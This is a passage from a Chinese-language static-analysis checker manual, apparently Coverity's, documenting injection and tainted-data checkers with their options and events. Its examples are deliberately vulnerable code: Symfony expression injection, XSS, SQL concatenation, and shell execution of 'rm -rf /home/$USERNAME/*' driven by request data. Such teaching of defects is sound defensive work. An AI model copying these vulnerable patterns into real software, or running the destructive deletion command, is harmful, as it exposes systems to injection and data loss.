- `double_free` - 对象被释放了两次，或者在其位于全局清理堆栈中时被释放。
- `double_push` - 对象被多次推送至清理堆栈。
- `freed_arg` - 释放对象。
- `identity` - 方法返回了它的某一个参数。
- `leave_without_push` - 在未推送至全局清理堆栈的情况下调用了 `leave`。
- `memory_leak` - 内存泄漏。
- `more_than_one_push` - 多个分配被沿着函数中的路径推送至清理堆栈。
- `pop` - 弹出到全局清理堆栈。
- `push` - 推送至全局清理堆栈。

## 4.307. SYMBIAN.NAMING

质量检查器

### 4.307.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

已废弃：SYMBIAN.NAMING 自版本 8.7 起已废弃，并将在未来版本中移除。此检查器将报告违反了在 Symbian 操作系统中用于类和函数的命名约定的一些情况。默认情况下，它会强制执行可能离开或调用 `leaving` 函数的函数应该在其后缀中包含 `L` 的规则。

请参阅选项，了解更多命名约定检查。

Symbian 操作系统对类和函数使用强制性的标准命名约定。此类命名约定可能与在整个清理堆栈中管理内存或者其他简单继承相关行为或功能行为有关。违反命名约定可能由于涉及其行为的函数或类的客户端做出错误假设而生成错误代码。

请参阅 Section 4.306, “SYMBIAN.CLEANUP\_STACK”，了解关于其他 Symbian 缺陷的更多信息。

默认禁用：SYMBIAN.NAMING 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Symbian 检查器启用：要与其他 Symbian 检查器一起启用 SYMBIAN.NAMING，请使用 `--symbian` 选项。

### 4.307.2. 示例

本部分提供了一个或多个 SYMBIAN.NAMING 示例。

在下面的示例中，`test()` 和 `test2` 函数应该重命名，分别以 `L` 和 `LC` 作为名称后缀：

```
void test() (// Defect: test should have L in its suffix
 func();
 func2L(); // Call leaving function
)

A* test2() (/* Defect: test2 should have LC in its suffix,
 assumes report_LC_errors option set */
 A *sta = new A;
 CleanupStack::PushL(sta); // push sta onto cleanup stack
 return sta;
)
```

### 4.307.3. 选项

本部分描述了一个或多个 SYMBIAN.NAMING 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- SYMBIAN.NAMING:report\_LC\_errors:<boolean> - 当此选项为 `true` 时，如果推送项目至清理堆栈的函数没有 `LC` 后缀，该检查器将会报告缺陷。默认值为 `SYMBIAN.NAMING:report_LC_errors:false`（仅限 C++ 和 Objective-C++）。不检查是否有 `LC` 后缀。

如果将 `cov-analyze` 命令的 `--aggressiveness-level` 选项设置为 `medium`（或 `high`），则该检查器选项会自动设置为 `true`。

### 4.307.4. 事件

本部分描述了 SYMBIAN.NAMING 检查器生成的一个或多个事件。

- `assign` - 一个指针被赋予了来自另一个指针或返回已分配内存的函数的值。
- `identity` - 方法返回了它的某一个参数。
- `leave` - 调用了 `leaving` 函数。
- `naming_error` - 违反了 Symbian 命名约定。
- `pop` - 将元素弹出了清理堆栈。
- `push` - 将元素推送至清理堆栈。

## 4.308. SYMFONY\_EL\_INJECTION

安全检查器

#### 4.308.1. 概述

支持的语言：. PHP

`SYMFONY_EL_INJECTION` 检查器查找 PHP 代码中的 Symfony 表达式语言注入漏洞。当 Symfony 表达式语言解释器对不可信（被污染的）数据进行求值时，会出现这些漏洞。

默认禁用：`SYMFONY_EL_INJECTION` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 `SYMFONY_EL_INJECTION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8, “被污染的数据概述””。

#### 4.308.2. 缺陷剖析

`SYMFONY_EL_INJECTION` 缺陷说明了不可信（被污染）数据源用于构造由 Symfony 求值的表达式的数据流路径。该数据流路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何流过程序，例如从函数调用的参数到被调用函数的参数。数据流路径的最终部分表示作为 Symfony 表达式求值的被污染字符串。

#### 4.308.3. 示例

本部分提供了一个或多个 `SYMFONY_EL_INJECTION` 示例。

下面的示例将来自 HTTP 请求的被污染数据传递给 Symfony 表达式语言：

```
<?php

use Symfony\Component\ExpressionLanguage\ExpressionLanguage;

function check_if_username_is_valid($username) {

 $language = new ExpressionLanguage();

 $ret = $language->evaluate($_GET["username"] . ' matches "/[a-zA-Z0-9]/"');

 if ($ret) {
 print "Valid Username\n";
 } else {
 print "Invalid Username\n";
 }
}?
?>
```

#### 4.308.4. 选项

本部分描述了一个或多个 `SYMFONY_EL_INJECTION` 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `SYMFONY_EL_INJECTION:distrust_all:<boolean>` - [仅限 PHP] 将此选项设置为 `true` 等同于将此检查器的所有 `trust_*` 检查器选项设置为 `false`。默认值为 `SYMFONY_EL_INJECTION:distrust_all:false` (适用于 PHP)。

如果将 cov-analyze 命令的 `SYMFONY_EL_INJECTION:webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。

- `SYMFONY_EL_INJECTION:trust_command_line:<boolean>` - [仅限 PHP] 将此选项设置为 `false` 会导致分析将命令行参数视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_command_line:true` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-command-line` 和 `--distrust-command-line` 命令行选项。
- `SYMFONY_EL_INJECTION:trust_console:<boolean>` - [仅限 PHP] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自控制台的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_console:true` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-console` 和 `--distrust-console` 命令行选项。
- `SYMFONY_EL_INJECTION:trust_cookie:<boolean>` - [仅限 PHP] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP Cookie 的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_cookie:false` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-cookie` 和 `--distrust-cookie` 命令行选项。
- `SYMFONY_EL_INJECTION:trust_database:<boolean>` - [仅限 PHP] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自数据库的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_database:true` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-database` 和 `--distrust-database` 命令行选项。
- `SYMFONY_EL_INJECTION:trust_environment:<boolean>` - [仅限 PHP] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自环境变量的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_environment:true` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-environment` 和 `--distrust-environment` 命令行选项。
- `SYMFONY_EL_INJECTION:trust_filesystem:<boolean>` - [仅限 PHP] 将此 Web 应用程序选项设置为 `false` 会导致分析将来自文件系统的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_filesystem:true` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-filesystem` 和 `--distrust-filesystem` 命令行选项。
- `SYMFONY_EL_INJECTION:trust_http:<boolean>` - [仅限 PHP] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_http:false` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-http` 和 `--distrust-http` 命令行选项。
- `SYMFONY_EL_INJECTION:trust_http_header:<boolean>` - [仅限 PHP] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_http_header:false`。设置此检查器选项会覆盖全局 `--trust-http-header` 和 `--distrust-http-header` 命令行选项。

- `SYMFONY_EL_INJECTION:trust_network:<boolean>` - [仅限 PHP] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自网络的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_network:false` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-network` 和 `--distrust-network` 命令行选项。
- `SYMFONY_EL_INJECTION:trust_rpc:<boolean>` - [仅限 PHP] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_rpc:false` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-rpc` 和 `--distrust-rpc` 命令行选项。
- `SYMFONY_EL_INJECTION:trust_system_properties:<boolean>` - [仅限 PHP] 将此 Web 应用程序安全选项设置为 `false` 会导致分析将来自系统属性的数据视为被污染。默认值为 `SYMFONY_EL_INJECTION:trust_system_properties:true` (适用于 PHP)。设置此检查器选项会覆盖全局 `--trust-system-properties` 和 `--distrust-system-properties` 命令行选项。

## 4.309. TAINT\_ASSERT

安全、Web 应用程序检查器

### 4.309.1. 概述

支持的语言：. C#、Java

TAINT\_ASSERT 识别在用户断言的未污染 Coverity 分析确定的计算污染之间存在差异的字段。这可能表明断言不正确，并且应该核实被污染的数据是如何插入到值中的（并且移除无效的断言）。存在不正确的断言可能抑制其他 Web 应用程序安全检查器会报告的合法安全缺陷。

存在关于污染的肯定性断言并不影响此检查器。

要指定关于字段未被污染的用户断言，可在源代码中的字段定义内添加注解，或使用 `cov-analyze --not-tainted-field` 命令行选项。有关详细信息，请参阅选项。

如果使用了未污染注解或命令行选项，则只有此检查器才会报告缺陷。

默认禁用：TAINT\_ASSERT 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

Web 应用程序安全检查器启用：要启用 TAINT\_ASSERT 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

### 4.309.2. 示例

本部分提供了一个或多个 TAINT\_ASSERT 示例。

#### 4.309.2.1. Java

下面的示例说明了 Spring MVC 3.0 Web 应用程序控制器中的问题报告。在 `Record.java` 中的第 7 行没有注解的情况下，将在 `MyController.java` 中针对第 16 行（以及第 15 行）报告跨站点脚本缺陷。

在具有 `@NotTainted` 注解的情况下，将会抑制针对 `MyController.java` 中第 16 行报告的跨站点脚本 (XSS) 缺陷，并且将针对 `Record.java` 中的第 7 行报告 Taint\_ASSERT 缺陷。

`Record.java`

```

1 import com.coverity.annotations.NotTainted;
2
3 public class Record {
4 Record(String n, String s) { name = n; status = s; }
5
6 String name;
7 @NotTainted String status;
8 }
```

`MyController.java` 中：

```

1 import org.springframework.web.bind.annotation.RequestMapping;
2 import org.springframework.stereotype.Controller;
3
4 @Controller
5 public class MyController {
6
7 @RequestMapping("/new_record")
8 @ResponseBody
9 public String newRecord(HttpServletRequest req) {
10 Record rec = new Record(req.getParameter("name"),
11 req.getParameter("status"));
12
13 StringBuilder sb = new StringBuilder();
14 sb.append("<HTML><BODY>\n");
15 sb.append("name= "+rec.name+"\n");
16 sb.append("status= "+rec.status+"\n");
17 sb.append("</BODY></HTML>\n");
18
19 return sb.toString();
20 }
21 }
```

此外，如果通过上述代码传递 `cov-analyze --not-tainted-field Record.*` 命令行选项，`Record` 类所有值为字符串的字段（名称和状态）都将被断言为未被污染。在此应用场景中，不会报告任何跨站点脚本缺陷，但将针对 `Record.java` 的第 6 行和第 7 行报告 Taint\_ASSERT 问题。

#### 4.309.2.2. C#

下面的示例对比了 Taint\_ASSERT 和 SQLI 检查器在使用 [NotTainted] 属性时报告的缺陷。

```

using System.Web;
using Coverity.Attributes;

public class TaintAssert {
```

```
[NotTainted] string asserted_safe; // TAINT_ASSERT defect

public void violate_assertion(HttpServletRequest req)
{
 asserted_safe = req["MyParameter"];
}

public String user_assertion()
{
 // Other checkers (for example, SQLI) will honor the [NotTainted] assertion.
 return "SELECT * from table USERS where " + asserted_safe; // not an SQLI
defect
}
}
```

#### 4.309.3. 选项

此检查器没有选项。有关更多详情，请参阅Section 4.309.5，“注解和属性”了解关于 TAINT\_ASSERT 的描述。

#### 4.309.4. 事件

本部分描述了 TAINT\_ASSERT 检查器生成的一个或多个事件。

- taintViolation (main event) : 被污染的数据流入被标记为未被污染的字段。

##### 数据流事件

- memberInit - 使用被污染的数据创建类实例同时用被污染的数据初始化其成员。
- objectConstruction - 使用被污染的数据创建类实例。
- subclass - 创建了类实例以用作超类。
- taintAlias - 为被污染的对象设置了别名。
- taintPath - 将被污染的值赋值给本地变量。
- taintPathArg - 将被污染的值作为方法的参数。
- taintPathAttr - [仅限 Java] 将被污染的值存储为包含页面、请求、会话或应用程序范围的 Web 应用程序属性。
- taintPathCall - 此方法调用返回被污染的值。
- taintPathField - 将被污染的值赋值给一个字段。
- taintPathMapRead - 从映射中读取被污染的值。
- taintPathMapWrite - 将被污染的值写入映射。

- `taint_path_param` - 调用方将被污染的参数作为参数传递给此方法。
- `taint_path_return` - 当前方法返回被污染的值。
- `tainted_source` - 被污染值所起源的方法。

#### 4.309.5. 注解和属性

要指定关于字段未被污染的用户断言，可使用以下两种方式之一：在源代码中的字段定义内添加注解（请参阅Section 5.4.1.5，“添加字段被污染或未被污染的断言”和Section 5.2.2，“为 C# 或 Visual Basic 添加注解”），或使用 `cov-analyze --not-tainted-field` 选项。有关使用这些断言的示例，请参阅Section 4.309.2，“示例”了解关于 TAINIT\_ASSERT 的描述。有关命令行选项的信息，请参阅。Coverity 命令说明书。

### 4.310. TAINTED\_ENVIRONMENT\_WITH\_EXECUTION

安全检查器

#### 4.310.1. 概述

支持的语言：. Go、Java、JavaScript

`TAINTED_ENVIRONMENT_WITH_EXECUTION` 可查找将不受控制的动态数据用于设置产生新进程时的环境变量时产生的漏洞。这可能允许攻击者改变进程的行为或泄露敏感数据。在极端情况下，它允许攻击者执行任意代码。

针对 Java 和 JavaScript 启用

默认禁用：`TAINTED_ENVIRONMENT_WITH_EXECUTION` 默认对 Java 和 Javascript 禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。

默认启用：`TAINTED_ENVIRONMENT_WITH_EXECUTION` 默认对 Go 启用。

Web 应用程序安全检查器启用：要启用 `TAINTED_ENVIRONMENT_WITH_EXECUTION` 以及其他 Web 应用程序检查器，请使用 `--webapp-security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

#### 4.310.2. 缺陷剖析

`TAINTED_ENVIRONMENT_WITH_EXECUTION` 缺陷说明了不可信（被污染）数据用于在产生新进程时设置环境变量的数据流路径。该路径从不可信数据源开始，例如读取 Java 或 Node.js 中服务器端 Web 应用程序中的 HTTP 请求参数。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，并最终如何在设置环境变量时被使用。

#### 4.310.3. 示例

本部分提供了一个或多个 `TAINTED_ENVIRONMENT_WITH_EXECUTION` 示例。

#### 4.310.3.1. Go

下面的 Go 示例说明了如何将被污染的请求参数 `username` 传递给 `USERNAME` 环境变量。环境变量的值在文件路径中使用，这允许攻击者删除任意目录的内容。针对 `os.StartProcess` 调用显示一个缺陷。

```
package main

import (
 "os"
 "net/http"
)

func start(request *http.Request){
 username := "USERNAME=" + request.FormValue("username")
 sysattr := &os.ProcAttr {
 Env: []string{username},
 }

 os.StartProcess("bash -c 'rm -rf /home/$USERNAME/*'", nil, sysattr) // Defect here
}
```

#### 4.310.3.2. Java

下面的 Java 示例说明了如何将被污染的请求参数 `"username"` 传递给 `USERNAME` 环境变量。环境变量的值在文件路径中使用，这允许攻击者删除任意目录的内容。

```
import java.io.File;
import javax.servlet.http.HttpServletRequest;
public class TaintedEnvironmentWithExecution {

 HttpServletRequest req;

 public void cleanupUserHome() {
 Runtime runtime = Runtime.getRuntime();

 String username = req.getParameter("username");

 String[] envp = new String[1];
 envp[0] = "USERNAME=" + username;

 runtime.exec("bash -c 'rm -rf /home/$USERNAME/*'", envp); // defect here
 }
}
```

#### 4.310.3.3. JavaScript

下面的 JavaScript 示例说明了如何将被污染的请求参数 `"username"` 传递给 `USERNAME` 环境变量。

```
const express = require("express");
const app = express();
```

```

app.get("/run",
 function run(req, res, next) {
 require("child_process").exec("bash -c 'rm -rf /home/$USERNAME'" , {
 env : {
 USERNAME : req.query.username // defect here
 }
 },
 (error, stdout, stderr) => { });
 res.send("Done");
 });
app.listen(1337, function() {
 console.log("Express listening...");
});

```

#### 4.310.4. 选项

本部分描述了一个或多个 Tainted\_Environment\_With\_Execution 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- Tainted\_Environment\_With\_Execution: distrust\_all:<boolean> - (仅限 Go 和 JavaScript) 将此选项设置为 true 等同于将此检查器的所有 trust\_\* 检查器选项设置为 false。默认值为 Tainted\_Environment\_With\_Execution: distrust\_all:false。  
如果将 cov-analyze 命令的 Tainted\_Environment\_With\_Execution: webapp-security-aggressiveness-level 选项设置为 high，则该检查器选项会自动设置为 true。
- Tainted\_Environment\_With\_Execution: trust\_command\_line:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 Tainted\_Environment\_With\_Execution: trust\_command\_line:true。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- Tainted\_Environment\_With\_Execution: trust\_console:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 Tainted\_Environment\_With\_Execution: trust\_console:true。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- Tainted\_Environment\_With\_Execution: trust\_cookie:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自 HTTP Cookie 的数据视为被污染。默认值为 Tainted\_Environment\_With\_Execution: trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- Tainted\_Environment\_With\_Execution: trust\_database:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 Tainted\_Environment\_With\_Execution: trust\_database:true。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- Tainted\_Environment\_With\_Execution: trust\_environment:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为

TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。

- TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_filesystem:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_http:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_http\_header:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_http\_header:false。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_network:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。
- TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_rpc:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_system\_properties:<boolean> - [仅限 Go 和 JavaScript] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 TINTED\_ENVIRONMENT\_WITH\_EXECUTION:trust\_system\_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

## 4.311. TINTED\_SCALAR

### 4.311.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

TINTED\_SCALAR 可查找在将标量（例如整数）用作数组或指针索引、循环边界或者函数参数之前未正确地对标量执行边界检查（净化）的很多情况。未净化的标量会被视为已污染。缺少或不充分的标量验证可能导致缓冲区溢出、整数溢出、拒绝服务、内存损坏以及安全漏洞。

带符号的标量必须进行上边界和下边界检查。无符号的整数只需进行上边界检查。您还可以通过等效检查净化标量，因为该检查可以有效地将值绑定到单个数。

为了使污染数据从 C 和 C++ 联合流向组件字段，您可以设置 cov-analyze  命令的 --inherit-taint-from-unions 选项。

默认禁用 : TAINTED\_SCALAR 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。

安全检查器启用 : 要与其他安全检查器一起启用 TAINTED\_SCALAR , 请在 cov-analyze 命令中使用 --security 选项。

这是被污染的数据检查器。有关更多信息 , 请参阅“Section 6.8, “被污染的数据概述””。

#### 4.311.2. 缺陷剖析

TAINTED\_SCALAR 缺陷说明了不可信 ( 被污染 ) 数据以不安全方式被用作诸如指针偏移的数据流路径。该数据流路径从不可信数据源开始 , 例如从 HTTP 请求获取输入。在此处开始 , 缺陷中的各种事件说明了此被污染数据如何流过程序 , 例如从函数调用的参数到被调用函数的参数。该路径的最终部分说明了在风险操作 ( 污染数据库消费者 ) 中使用了被污染的标量。

#### 4.311.3. 示例

本部分提供了一个或多个 TAINTED\_SCALAR 示例。

在下面的示例中 , 从数据包中读取的被污染的整数 nresp 仅执行了下边界检查 , 未执行上边界检查。这是缺陷 , 因为被污染的表达式 nresp \* sizeof(char \*) 被传递给了 xmalloc() 。此表达式可能导致整数溢出 , 进而导致缓冲区溢出、拒绝服务、内存损坏或其他安全漏洞。

要查找此缺陷 , 请将 TAINTED\_SCALAR 检查器与 packet\_get\_int 的模型结合使用。请参阅“Section 4.311.6, “模型和注解””。

```
char** tainted_scalar_example() {
 int nresp = packet_get_int();
 int i;
 if (nresp > 0) {
 char **response = xmalloc(nresp * sizeof(char *)); // tainted scalar used in
 allocation
 for (i = 0; i < nresp; i++) { // tainted scalar controls
 response[i] = packet_get_string(NULL);
 }
 return response;
 }
 return NULL;
}
```

#### 4.311.4. 可行的解决方案

在使用之前正确地净化被污染的变量。例如 , 下面的情况不是缺陷 , 因为 nresp 的下边界和上边界在通过可能导致危险的方式使用之前进行了检查。

```
#define MAX_NRESP 256
...
void tainted_scalar_example() {
 int nresp = packet_get_int();
```

```

if (nresp > 0 && nresp < MAX_NRESP) {

 response = xmalloc(nresp * sizeof(char *));
 for (i = 0; i < nresp; i++) {
 response[i] = packet_get_string(NULL);
 }
}

```

#### 4.311.5. 选项

本部分描述了一个或多个 TINTED\_SCALAR 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- TINTED\_SCALAR:tainting\_byteswaps:<boolean> - 如果此选项被设置为 true，该检查器会将使用缓冲区一次为整数加载一个类型视为缺陷。默认值为 TINTED\_SCALAR:tainting\_byteswaps:false

如果将 cov-analyze 命令的 --aggressiveness-level 选项设置为 medium ( 或 high )，则该检查器选项会自动设置为 true 。

示例：

```

char *p;
void xxx() {
 int array[10];
 // Assume that 'p' is tainted because of the following:
 unsigned x = ((unsigned) p[0] << 8) | (unsigned) p[1];
 array[x] = 0; // BUG
}

```

- TINTED\_SCALAR:tainting\_downcasts:<boolean> - 如果此选项被设置为 true，该检查器会将从原始数据（例如 char \* 或 void\* 类型）到特定 struct 类型（例如，看上去像网络数据包的类型）的转换视为被污染的数据的源。默认值为 TINTED\_SCALAR:tainting\_downcasts:true

在下面的示例中，针对 array 赋值语句显示了一个缺陷。

```

struct network_packet_header {
 u8 a, b, c, d, e, f, g, h;
 u16 i, j;
 u32 k, l;
 u64 m;
};

struct intermediate {
 void *raw;
};

void example(struct intermediate *s)

```

```
{
 struct network_packet_header *tainted = (struct network_packet_header *)s->raw;
 array[tainted->a] = 0; // DEFECT
}
```

- TINTED\_SCALAR:track\_general\_dataflow:<boolean> - 如果此选项被设置为 true，该检查器将启用预览模式，该模式可增加该检查器可处理的构造类型。默认值为 TINTED\_SCALAR:track\_general\_dataflow:false

下面的示例允许该检查器跟踪全局变量：

```
int global;
int getGlobal() {
 return global;
}
void taintGlobal(int fd) {
 read(fd, &global, sizeof(global));
}
void test(int fd) {
 int array[10];
 taintGlobal(fd);
 array[getGlobal()] = 0; // defect reported
}
```



#### 关于此选项：

此选项可能导致运行时显著增加。此外，当新模式和旧模式重叠时（例如只涉及本地变量的缺陷），该检查器可能在 Coverity Connect 中报告重复的缺陷实例（即，具有相同 CID 的软件问题）。

使用此选项可能导致该检查器比正常情况下产生更多误报。此外，在下一发行版中对该功能的修改可能会使发现的问题数发生变化。您可以通过在登录 Synopsys Software Integrity Community (Synopsys 软件完整性社区) 网站 <https://community.synopsys.com/s/contactsupport> 后打开一个支持案例，来提供有关此选项的准确性和价值的反馈。

- TINTED\_SCALAR:trust\_command\_line:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 TINTED\_SCALAR:trust\_command\_line:false。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line cov-analyze 命令行选项。
- TINTED\_SCALAR:trust\_console:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_console:false。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console cov-analyze 命令行选项。
- TINTED\_SCALAR:trust\_cookie:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie cov-analyze 命令行选项。
- TINTED\_SCALAR:trust\_database:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_database:false。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database cov-analyze 命令行选项。

- TINTED\_SCALAR:trust\_environment:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_environment:false。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment cov-analyze 命令行选项。
- TINTED\_SCALAR:trust\_filesystem:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_filesystem:false。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem cov-analyze 命令行选项。
- TINTED\_SCALAR:trust\_http:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http cov-analyze 命令行选项。
- TINTED\_SCALAR:trust\_http\_header:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_http\_header:false。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header cov-analyze 命令行选项。
- TINTED\_SCALAR:trust\_network:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network cov-analyze 命令行选项。
- TINTED\_SCALAR:trust\_rpc:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc cov-analyze 命令行选项。
- TINTED\_SCALAR:trust\_system\_properties:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 TINTED\_SCALAR:trust\_system\_properties:false。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties cov-analyze 命令行选项。

#### 4.311.6. 模型和注解

您可以创建自定义用户模型，以指明关于某些函数的安全特定信息。

此模型表明 `packet_get_int()` 从网络返回了被污染的数据，应该按如下方式记录：

```
unsigned int packet_get_int() {
 unsigned int ret;
 __coverity_mark_pointee_as_tainted__(&ret, TINT_TYPE_NETWORK);
 return ret;
}
```

此模型表明 `custom_read()` 污染其参数 `buf`，并且被污染的数据的源是文件系统。POSIX `read` 接口通过类似的 `stub` 函数进行建模：

```
void custom_read(int fd, void *buf) {
 __coverity_mark_pointee_as_tainted__(buf, TINT_TYPE_FILESYSTEM);
}
```

此模型表明 `custom_write()` 是参数 `count` 的污染数据消费者 (类型为 `ALLOCATION`)。POSIX `write` 接口通过类似的 stub 函数进行建模：

```
void *custom_alloc(unsigned int size) {
 __coverity_taint_sink__(&size, ALLOCATION);
}
```

#### Note

C 标准库中的 `malloc` 函数通过类似的 stub 进行建模。

以下数据消费者类型也与此检查器相

关：`TINTED_SCALAR_GENERIC`、`LOOP_BOUND_LOWER`、`LOOP_BOUND_UPPER`、`OVERRUN`、`DIVISOR`。

此模型表明，`custom_copy()` 将基于参数 `src` 的被污染状态 (并且仅当 `n != 0` 时) 传递污染参数 `dest`。标准 C 接口 `memcpy` 通过类似的 stub 函数进行建模：

```
